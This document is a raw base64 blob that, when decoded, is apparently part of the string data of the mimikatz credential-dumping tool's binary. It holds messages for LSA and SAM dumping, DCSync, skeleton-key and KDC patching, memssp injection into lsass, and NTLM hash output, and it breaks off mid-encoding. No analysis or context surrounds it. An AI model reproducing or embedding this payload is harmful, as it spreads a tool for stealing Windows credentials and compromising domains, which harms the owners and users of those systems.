CgAAAAAACgBSAEkARAAgACAAOgAgACUAMAA4AHgAIAAoACUAdQApAAoAVQBzAGUAcgAgADoAIAAlAHcAWgAKAAAATABNACAAIAAgADoAIAAAAAoATgBUAEwATQAgADoAIAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAXwB1AHMAZQByACAAOwAgAFMAYQBtAFEAdQBlAHIAeQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AVQBzAGUAcgAgACUAMAA4AHgACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQBfAHUAcwBlAHIAIAA7ACAAUwBhAG0ATwBwAGUAbgBVAHMAZQByACAAJQAwADgAeAAKAAAAUAByAGkAbQBhAHIAeQAAAEMATABFAEEAUgBUAEUAWABUAAAAVwBEAGkAZwBlAHMAdAAAAEsAZQByAGIAZQByAG8AcwAAAAAASwBlAHIAYgBlAHIAbwBzAC0ATgBlAHcAZQByAC0ASwBlAHkAcwAAAE4AVABMAE0ALQBTAHQAcgBvAG4AZwAtAE4AVABPAFcARgAAACAAIAAgACAATABNACAAIAAgADoAIAAAAAoAIAAgACAAIABOAFQATABNACAAOgAgAAAAAAAgACAAIAAgACUALgAqAHMACgAAACAAIAAgACAAJQAwADIAdQAgACAAAAAAACAAIAAgACAARABlAGYAYQB1AGwAdAAgAFMAYQBsAHQAIAA6ACAAJQAuACoAcwAKAAAAAABDAHIAZQBkAGUAbgB0AGkAYQBsAHMAAABPAGwAZABDAHIAZQBkAGUAbgB0AGkAYQBsAHMAAAAAAAAAAAAgACAAIAAgAEQAZQBmAGEAdQBsAHQAIABTAGEAbAB0ACAAOgAgACUALgAqAHMACgAgACAAIAAgAEQAZQBmAGEAdQBsAHQAIABJAHQAZQByAGEAdABpAG8AbgBzACAAOgAgACUAdQAKAAAAAABTAGUAcgB2AGkAYwBlAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAAAATwBsAGQAZQByAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAAAAIAAgACAAIABSAGEAbgBkAG8AbQAgAFYAYQBsAHUAZQAgADoAIAAAACAAIAAgACAAIAAgACUAcwAgADoAIAAAACAAIAAgACAAIAAgACUAcwAgACgAJQB1ACkAIAA6ACAAAAAAAE4ATwBOAEUAIAAgACAAAABOAFQANABPAFcARgAgAAAAQwBMAEUAQQBSACAAIAAAAFYARQBSAFMASQBPAE4AAAAgAFsAJQBzAF0AIAAlAHcAWgAgAC0APgAgACUAdwBaAAoAAAAgACAAIAAgACoAIAAAAAAAdQBuAGsAbgBvAHcAbgA/AAAAAAAgAC0AIAAlAHMAIAAtACAAAAAAAC0AIAAlAHUAIAAtACAAAABsAHMAYQBkAGIALgBkAGwAbAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwB0AHIAdQBzAHQAIAA7ACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHQAcgB1AHMAdAAgADsAIABrAHUAbABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAdABWAGUAcgB5AEIAYQBzAGkAYwBNAG8AZAB1AGwAZQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwBGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAKAEMAdQByAHIAZQBuAHQAIABkAG8AbQBhAGkAbgA6ACAAJQB3AFoAIAAoACUAdwBaAAAACgBEAG8AbQBhAGkAbgA6ACAAJQB3AFoAIAAoACUAdwBaAAAAIAAgAEkAbgAgAAAAIABPAHUAdAAgAAAAIABJAG4ALQAxAAAATwB1AHQALQAxAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AdAByAHUAcwB0ACAAOwAgAEwAcwBhAFEAdQBlAHIAeQBUAHIAdQBzAHQAZQBkAEQAbwBtAGEAaQBuAEkAbgBmAG8AQgB5AE4AYQBtAGUAIAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHQAcgB1AHMAdAAgADsAIABMAHMAYQBFAG4AdQBtAGUAcgBhAHQAZQBUAHIAdQBzAHQAZQBkAEQAbwBtAGEAaQBuAHMARQB4ACAAJQAwADgAeAAKAAAAIAAgACoAIABSAFMAQQAgAGsAZQB5AAoAAAAAAG4AdABkAHMAAAAAAAkAUABGAFgAIABjAG8AbgB0AGEAaQBuAGUAcgAgACAAOgAgACUAcwAgAC0AIAAnACUAcwAnAAoAAAAAACAAIAAqACAATABlAGcAYQBjAHkAIABrAGUAeQAKAAAAawBlAHkAAABsAGUAZwBhAGMAeQAAAAAAAAAAACAAIAAqACAAVQBuAGsAbgBvAHcAbgAgAGsAZQB5ACAAKABzAGUAZQBuACAAYQBzACAAJQAwADgAeAApAAoAAAAJAEUAeABwAG8AcgB0ACAAIAAgACAAIAAgACAAIAAgADoAIAAlAHMAIAAtACAAJwAlAHMAJwAKAAAAAABHACQAQgBDAEsAVQBQAEsARQBZAF8AAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQASwBlAHkARgByAG8AbQBHAFUASQBEACAAOwAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAEwAcwBhAFIAZQB0AHIAaQBlAHYAZQBQAHIAaQB2AGEAdABlAEQAYQB0AGEAOgAgADAAeAAlADAAOAB4AAoAAAAAAHMAZQBjAHIAZQB0AAAAAAAgAHMAZQBlAG0AcwAgAHQAbwAgAGIAZQAgAGEAIAB2AGEAbABpAGQAIABHAFUASQBEAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBiAGsAZQB5ACAAOwAgAEkAbgB2AGEAbABpAGQAIABHAFUASQBEACAAKAAwAHgAJQAwADgAeAApACAAOwAgACUAcwAKAAAACgBDAHUAcgByAGUAbgB0ACAAcAByAGUAZgBlAHIAZQBkACAAawBlAHkAOgAgACAAIAAgACAAIAAgAAAARwAkAEIAQwBLAFUAUABLAEUAWQBfAFAAUgBFAEYARQBSAFIARQBEAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBiAGsAZQB5ACAAOwAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAEwAcwBhAFIAZQB0AHIAaQBlAHYAZQBQAHIAaQB2AGEAdABlAEQAYQB0AGEAOgAgADAAeAAlADAAOAB4AAoAAAAAAAoAQwBvAG0AcABhAHQAaQBiAGkAbABpAHQAeQAgAHAAcgBlAGYAZQByAGUAZAAgAGsAZQB5ADoAIAAAAEcAJABCAEMASwBVAFAASwBFAFkAXwBQAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwByAHAAZABhAHQAYQAgADsAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBMAHMAYQBSAGUAdAByAGkAZQB2AGUAUAByAGkAdgBhAHQAZQBEAGEAdABhADoAIAAwAHgAJQAwADgAeAAKAAAAAABrAGQAYwAAAFsARABDAF0AIABPAGIAagBlAGMAdAAgAHcAaQB0AGgAIABHAFUASQBEACAAJwAlAHMAJwAKAAAAAAAAAFsARABDAF0AIAAnACUAcwAnACAAdwBpAGwAbAAgAGIAZQAgAHQAaABlACAAdQBzAGUAcgAgAGEAYwBjAG8AdQBuAHQACgAAAGwAZABhAHAAAAAAAG4AYwBhAGMAbgBfAGkAcABfAHQAYwBwAAAAAABbAEQAQwBdACAAbQBzAC0ARABTAC0AUgBlAHAAbABpAGMAYQB0AGkAbwBuAEUAcABvAGMAaAAgAGkAcwA6ACAAJQB1AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwB5AG4AYwAgADsAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAFAAcgBvAGMAZQBzAHMARwBlAHQATgBDAEMAaABhAG4AZwBlAHMAUgBlAHAAbAB5AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwB5AG4AYwAgADsAIABEAFIAUwBHAGUAdABOAEMAQwBoAGEAbgBnAGUAcwAsACAAaQBuAHYAYQBsAGkAZAAgAGQAdwBPAHUAdABWAGUAcgBzAGkAbwBuACAAKAAlAHUAKQAgAGEAbgBkAC8AbwByACAAYwBOAHUAbQBPAGIAagBlAGMAdABzACAAKAAlAHUAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAHkAbgBjACAAOwAgAEcAZQB0AE4AQwBDAGgAYQBuAGcAZQBzADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAHkAbgBjACAAOwAgAFIAUABDACAARQB4AGMAZQBwAHQAaQBvAG4AIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAHkAbgBjACAAOwAgAE0AaQBzAHMAaQBuAGcAIAB1AHMAZQByACAAbwByACAAZwB1AGkAZAAgAGEAcgBnAHUAbQBlAG4AdAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAeQBuAGMAIAA7ACAARABvAG0AYQBpAG4AIABDAG8AbgB0AHIAbwBsAGwAZQByACAAbgBvAHQAIABwAHIAZQBzAGUAbgB0AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwB5AG4AYwAgADsAIABEAG8AbQBhAGkAbgAgAG4AbwB0ACAAcAByAGUAcwBlAG4AdAAsACAAbwByACAAZABvAGUAcwBuACcAdAAgAGwAbwBvAGsAIABsAGkAawBlACAAYQAgAEYAUQBEAE4ACgAAAAAAJQBzACUALgAqAHMAJQBzAAAAAAAgACAAIAAgACUAcwAtACUAMgB1ADoAIAAAAAAAIAAgAEgAYQBzAGgAIAAlAHMAOgAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAeQBuAGMAXwBkAGUAYwByAHkAcAB0ACAAOwAgAFIAdABsAEQAZQBjAHIAeQBwAHQARABFAFMAMgBiAGwAbwBjAGsAcwAxAEQAVwBPAFIARAAAAAAACgBPAGIAagBlAGMAdAAgAFIARABOACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAFMAQwBSAEkAUABUAAAAAABBAEMAQwBPAFUATgBUAEQASQBTAEEAQgBMAEUAAAAAADAAeAA0ACAAPwAAAEgATwBNAEUARABJAFIAXwBSAEUAUQBVAEkAUgBFAEQAAAAAAEwATwBDAEsATwBVAFQAAABQAEEAUwBTAFcARABfAE4ATwBUAFIARQBRAEQAAAAAAFAAQQBTAFMAVwBEAF8AQwBBAE4AVABfAEMASABBAE4ARwBFAAAAAABFAE4AQwBSAFkAUABUAEUARABfAFQARQBYAFQAXwBQAEEAUwBTAFcATwBSAEQAXwBBAEwATABPAFcARQBEAAAAVABFAE0AUABfAEQAVQBQAEwASQBDAEEAVABFAF8AQQBDAEMATwBVAE4AVAAAAAAATgBPAFIATQBBAEwAXwBBAEMAQwBPAFUATgBUAAAAAAAwAHgANAAwADAAIAA/AAAASQBOAFQARQBSAEQATwBNAEEASQBOAF8AVABSAFUAUwBUAF8AQQBDAEMATwBVAE4AVAAAAFcATwBSAEsAUwBUAEEAVABJAE8ATgBfAFQAUgBVAFMAVABfAEEAQwBDAE8AVQBOAFQAAABTAEUAUgBWAEUAUgBfAFQAUgBVAFMAVABfAEEAQwBDAE8AVQBOAFQAAAAAADAAeAA0ADAAMAAwACAAPwAAAAAAMAB4ADgAMAAwADAAIAA/AAAAAABEAE8ATgBUAF8ARQBYAFAASQBSAEUAXwBQAEEAUwBTAFcARAAAAAAATQBOAFMAXwBMAE8ARwBPAE4AXwBBAEMAQwBPAFUATgBUAAAAUwBNAEEAUgBUAEMAQQBSAEQAXwBSAEUAUQBVAEkAUgBFAEQAAAAAAFQAUgBVAFMAVABFAEQAXwBGAE8AUgBfAEQARQBMAEUARwBBAFQASQBPAE4AAAAAAE4ATwBUAF8ARABFAEwARQBHAEEAVABFAEQAAABVAFMARQBfAEQARQBTAF8ASwBFAFkAXwBPAE4ATABZAAAAAABEAE8ATgBUAF8AUgBFAFEAVQBJAFIARQBfAFAAUgBFAEEAVQBUAEgAAAAAAFAAQQBTAFMAVwBPAFIARABfAEUAWABQAEkAUgBFAEQAAAAAAFQAUgBVAFMAVABFAEQAXwBUAE8AXwBBAFUAVABIAEUATgBUAEkAQwBBAFQARQBfAEYATwBSAF8ARABFAEwARQBHAEEAVABJAE8ATgAAAAAATgBPAF8AQQBVAFQASABfAEQAQQBUAEEAXwBSAEUAUQBVAEkAUgBFAEQAAABQAEEAUgBUAEkAQQBMAF8AUwBFAEMAUgBFAFQAUwBfAEEAQwBDAE8AVQBOAFQAAABVAFMARQBfAEEARQBTAF8ASwBFAFkAUwAAAAAAMAB4ADEAMAAwADAAMAAwADAAMAAgAD8AAAAAADAAeAAyADAAMAAwADAAMAAwADAAIAA/AAAAAAAwAHgANAAwADAAMAAwADAAMAAwACAAPwAAAAAAMAB4ADgAMAAwADAAMAAwADAAMAAgAD8AAAAAAEQATwBNAEEASQBOAF8ATwBCAEoARQBDAFQAAABHAFIATwBVAFAAXwBPAEIASgBFAEMAVAAAAAAATgBPAE4AXwBTAEUAQwBVAFIASQBUAFkAXwBHAFIATwBVAFAAXwBPAEIASgBFAEMAVAAAAEEATABJAEEAUwBfAE8AQgBKAEUAQwBUAAAAAABOAE8ATgBfAFMARQBDAFUAUgBJAFQAWQBfAEEATABJAEEAUwBfAE8AQgBKAEUAQwBUAAAAVQBTAEUAUgBfAE8AQgBKAEUAQwBUAAAATQBBAEMASABJAE4ARQBfAEEAQwBDAE8AVQBOAFQAAABUAFIAVQBTAFQAXwBBAEMAQwBPAFUATgBUAAAAQQBQAFAAXwBCAEEAUwBJAEMAXwBHAFIATwBVAFAAAABBAFAAUABfAFEAVQBFAFIAWQBfAEcAUgBPAFUAUAAAACoAKgAgAFMAQQBNACAAQQBDAEMATwBVAE4AVAAgACoAKgAKAAoAAABTAEEATQAgAFUAcwBlAHIAbgBhAG0AZQAgACAAIAAgACAAIAAgACAAIAA6ACAAAABVAHMAZQByACAAUAByAGkAbgBjAGkAcABhAGwAIABOAGEAbQBlACAAIAA6ACAAAABBAGMAYwBvAHUAbgB0ACAAVAB5AHAAZQAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgACgAIAAlAHMAIAApAAoAAABVAHMAZQByACAAQQBjAGMAbwB1AG4AdAAgAEMAbwBuAHQAcgBvAGwAIAA6ACAAJQAwADgAeAAgACgAIAAAAAAAQQBjAGMAbwB1AG4AdAAgAGUAeABwAGkAcgBhAHQAaQBvAG4AIAAgACAAOgAgAAAAUABhAHMAcwB3AG8AcgBkACAAbABhAHMAdAAgAGMAaABhAG4AZwBlACAAOgAgAAAATwBiAGoAZQBjAHQAIABTAGUAYwB1AHIAaQB0AHkAIABJAEQAIAAgACAAOgAgAAAATwBiAGoAZQBjAHQAIABSAGUAbABhAHQAaQB2AGUAIABJAEQAIAAgACAAOgAgACUAdQAKAAAAAAAKAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA6AAoAAAAAAGwAbQAgACAAAAAAAAoAUwB1AHAAcABsAGUAbQBlAG4AdABhAGwAIABDAHIAZQBkAGUAbgB0AGkAYQBsAHMAOgAKAAAAKgAgACUAdwBaACAAKgAKAAAAAAAlMDJ4AAAAACAAIAAgACAAVQBuAGsAbgBvAHcAbgAgAGQAYQB0AGEAIAA6ACAAAAAqACoAIABUAFIAVQBTAFQARQBEACAARABPAE0AQQBJAE4AIAAtACAAQQBuAHQAaQBzAG8AYwBpAGEAbAAgACoAKgAKAAoAAABQAGEAcgB0AG4AZQByACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQB3AFoACgAAAGEAYwBjAG8AdQBuAHQAAABjAG8AbQBwAHUAdABlAHIAAAAAACAAIABBAGMAYwBvAHUAbgB0ADoAIAAlAHMACgAAAAAAIAAgAE4AVABMAE0AIAAgACAAOgAgAAAAIAAgAE4AVABMAE0ALQAxACAAOgAgAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAG4AZQB0AHMAeQBuAGMAIAA7ACAASQBfAE4AZQB0AFMAZQByAHYAZQByAFQAcgB1AHMAdABQAGEAcwBzAHcAbwByAGQAcwBHAGUAdAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAG4AZQB0AHMAeQBuAGMAIAA7ACAAUwBlAHIAdgBlAHIAQwByAGUAZABlAG4AdABpAGEAbAAgAGQAbwBlAHMAIABuAG8AdAAgAG0AYQB0AGMAaAAgAEMAYQBuAGQAaQBkAGEAdABlAFMAZQByAHYAZQByAEMAcgBlAGQAZQBuAHQAaQBhAGwACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBuAGUAdABzAHkAbgBjACAAOwAgAEkAXwBOAGUAdABTAGUAcgB2AGUAcgBBAHUAdABoAGUAbgB0AGkAYwBhAHQAZQAyACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbgBlAHQAcwB5AG4AYwAgADsAIABJAF8ATgBlAHQAUwBlAHIAdgBlAHIAUgBlAHEAQwBoAGEAbABsAGUAbgBnAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAG4AZQB0AHMAeQBuAGMAIAA7ACAAbgB0AGwAbQAgAGgAYQBzAGgALwByAGMANAAgAGsAZQB5ACAAbABlAG4AZwB0AGgAIABtAHUAcwB0ACAAYgBlACAAMwAyACAAKAAxADYAIABiAHkAdABlAHMAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBuAGUAdABzAHkAbgBjACAAOwAgAE0AaQBzAHMAaQBuAGcAIABhAHIAZwB1AG0AZQBuAHQAIAA6ACAAbgB0AGwAbQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbgBlAHQAcwB5AG4AYwAgADsAIABNAGkAcwBzAGkAbgBnACAAYQByAGcAdQBtAGUAbgB0ACAAOgAgAHUAcwBlAHIACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAG4AZQB0AHMAeQBuAGMAIAA7ACAATQBpAHMAcwBpAG4AZwAgAGEAcgBnAHUAbQBlAG4AdAAgADoAIABkAGMACgAAAGMAbQBkAAAAAAAAAEMAbwBtAG0AYQBuAGQAIABQAHIAbwBtAHAAdAAgACAAIAAgACAAIAAgACAAIAAgACgAdwBpAHQAaABvAHUAdAAgAEQAaQBzAGEAYgBsAGUAQwBNAEQAKQAAAAAAcgBlAGcAZQBkAGkAdAAAAAAAAABSAGUAZwBpAHMAdAByAHkAIABFAGQAaQB0AG8AcgAgACAAIAAgACAAIAAgACAAIAAoAHcAaQB0AGgAbwB1AHQAIABEAGkAcwBhAGIAbABlAFIAZQBnAGkAcwB0AHIAeQBUAG8AbwBsAHMAKQAAAAAAdABhAHMAawBtAGcAcgAAAFQAYQBzAGsAIABNAGEAbgBhAGcAZQByACAAIAAgACAAIAAgACAAIAAgACAAIAAgACgAdwBpAHQAaABvAHUAdAAgAEQAaQBzAGEAYgBsAGUAVABhAHMAawBNAGcAcgApAAAAAABuAGMAcgBvAHUAdABlAG0AbwBuAAAAAAAAAAAASgB1AG4AaQBwAGUAcgAgAE4AZQB0AHcAbwByAGsAIABDAG8AbgBuAGUAYwB0ACAAKAB3AGkAdABoAG8AdQB0ACAAcgBvAHUAdABlACAAbQBvAG4AaQB0AG8AcgBpAG4AZwApAAAAAABkAGUAdABvAHUAcgBzAAAAWwBlAHgAcABlAHIAaQBtAGUAbgB0AGEAbABdACAAVAByAHkAIAB0AG8AIABlAG4AdQBtAGUAcgBhAHQAZQAgAGEAbABsACAAbQBvAGQAdQBsAGUAcwAgAHcAaQB0AGgAIABEAGUAdABvAHUAcgBzAC0AbABpAGsAZQAgAGgAbwBvAGsAcwAAAG0AZQBtAHMAcwBwAAAAAABzAGsAZQBsAGUAdABvAG4AAAAAAGMAbwBtAHAAcgBlAHMAcwBtAGUAAAAAAG0AaQBzAGMAAAAAAE0AaQBzAGMAZQBsAGwAYQBuAGUAbwB1AHMAIABtAG8AZAB1AGwAZQAAAAAASwBpAHcAaQBBAG4AZABDAE0ARAAAAAAARABpAHMAYQBiAGwAZQBDAE0ARAAAAAAAYwBtAGQALgBlAHgAZQAAAEsAaQB3AGkAQQBuAGQAUgBlAGcAaQBzAHQAcgB5AFQAbwBvAGwAcwAAAAAARABpAHMAYQBiAGwAZQBSAGUAZwBpAHMAdAByAHkAVABvAG8AbABzAAAAAAByAGUAZwBlAGQAaQB0AC4AZQB4AGUAAABLAGkAdwBpAEEAbgBkAFQAYQBzAGsATQBnAHIAAAAAAEQAaQBzAGEAYgBsAGUAVABhAHMAawBNAGcAcgAAAAAAdABhAHMAawBtAGcAcgAuAGUAeABlAAAAZABzAE4AYwBTAGUAcgB2AGkAYwBlAAAACQAoACUAdwBaACkAAAAAAAkAWwAlAHUAXQAgACUAdwBaACAAIQAgAAAAAAAlAC0AMwAyAFMAAAAjACAAJQB1AAAAAAAJACAAJQBwACAALQA+ACAAJQBwAAAAAAAlAHcAWgAgACgAJQB1ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBkAGUAdABvAHUAcgBzAF8AYwBhAGwAbABiAGEAYwBrAF8AcAByAG8AYwBlAHMAcwAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAUABhAHQAYwBoACAATwBLACAAZgBvAHIAIAAnACUAcwAnACAAZgByAG8AbQAgACcAJQBzACcAIAB0AG8AIAAnACUAcwAnACAAQAAgACUAcAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAGcAZQBuAGUAcgBpAGMAXwBuAG8AZwBwAG8AXwBwAGEAdABjAGgAIAA7ACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAbQBzAHYAYwByAHQALgBkAGwAbAAAAAAAZm9wZW4AAABmd3ByaW50ZgAAAABmY2xvc2UAAGwAcwBhAHMAcwAuAGUAeABlAAAAbQBzAHYAMQBfADAALgBkAGwAbAAAAAAASQBuAGoAZQBjAHQAZQBkACAAPQApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBtAGUAbQBzAHMAcAAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AYwBvAHAAeQAgAC0AIABUAHIAYQBtAHAAbwBsAGkAbgBlACAAbgAwACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBtAGUAbQBzAHMAcAAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AQwByAGUAYQB0AGUAUgBlAG0AbwB0AGUAQwBvAGQAZQBXAGkAdAB0AGgAUABhAHQAdABlAHIAbgBSAGUAcABsAGEAYwBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AbQBlAG0AcwBzAHAAIAA7ACAAawB1AGwAbABfAG0AXwBtAGUAbQBvAHIAeQBfAGMAbwBwAHkAIAAtACAAVAByAGEAbQBwAG8AbABpAG4AZQAgAG4AMQAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AbQBlAG0AcwBzAHAAIAA7ACAAawB1AGwAbABfAG0AXwBtAGUAbQBvAHIAeQBfAGMAbwBwAHkAIAAtACAAcgBlAGEAbAAgAGEAcwBtACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAG0AZQBtAHMAcwBwACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBzAGUAYQByAGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAG0AZQBtAHMAcwBwACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AbQBlAG0AcwBzAHAAIAA7ACAAawB1AGwAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAHQAUAByAG8AYwBlAHMAcwBJAGQARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAATG9jYWxBbGxvYwAAbABlAHQAYQBlAHMAAAAAAGsAZABjAHMAdgBjAC4AZABsAGwAAAAAAFsASwBEAEMAXQAgAGQAYQB0AGEACgAAAFsASwBEAEMAXQAgAHMAdAByAHUAYwB0AAoAAABbAEsARABDAF0AIABrAGUAeQBzACAAcABhAHQAYwBoACAATwBLAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBzAGsAZQBsAGUAdABvAG4AIAA7ACAAUwBlAGMAbwBuAGQAIABwAGEAdAB0AGUAcgBuACAAbgBvAHQAIABmAG8AdQBuAGQACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AcwBrAGUAbABlAHQAbwBuACAAOwAgAEYAaQByAHMAdAAgAHAAYQB0AHQAZQByAG4AIABuAG8AdAAgAGYAbwB1AG4AZAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAHMAawBlAGwAZQB0AG8AbgAgADsAIABrAHUAbABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAdABWAGUAcgB5AEIAYQBzAGkAYwBNAG8AZAB1AGwAZQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwBGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAABjAHIAeQBwAHQAZABsAGwALgBkAGwAbAAAAAAAWwBSAEMANABdACAAZgB1AG4AYwB0AGkAbwBuAHMACgAAAAAAWwBSAEMANABdACAAaQBuAGkAdAAgAHAAYQB0AGMAaAAgAE8ASwAKAAAAAABbAFIAQwA0AF0AIABkAGUAYwByAHkAcAB0ACAAcABhAHQAYwBoACAATwBLAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AcwBrAGUAbABlAHQAbwBuACAAOwAgAFUAbgBhAGIAbABlACAAdABvACAAYwByAGUAYQB0AGUAIAByAGUAbQBvAHQAZQAgAGYAdQBuAGMAdABpAG8AbgBzAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBzAGsAZQBsAGUAdABvAG4AIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAFUAcwBpAG4AZwAgACcAJQBzACcAIABhAHMAIABpAG4AcAB1AHQAIABmAGkAbABlAAoAAAAgACoAIABPAHIAaQBnAGkAbgBhAGwAIABzAGkAegBlACAAIAA6ACAAJQB1AAoAAABtAGkAbQBpAGsAYQB0AHoAXwB4ADgANgAuAGMAbwBtAHAAcgBlAHMAcwBlAGQAAAAAAAAAIAAqACAAQwBvAG0AcAByAGUAcwBzAGUAZAAgAHMAaQB6AGUAOgAgACUAdQAgACgAJQAuADIAZgAlACUAKQAKAFUAcwBpAG4AZwAgACcAJQBzACcAIABhAHMAIABvAHUAdABwAHUAdAAgAGYAaQBsAGUALgAuAC4AIAAAAE8ASwAhAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAGMAbwBtAHAAcgBlAHMAcwBtAGUAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AdwByAGkAdABlAE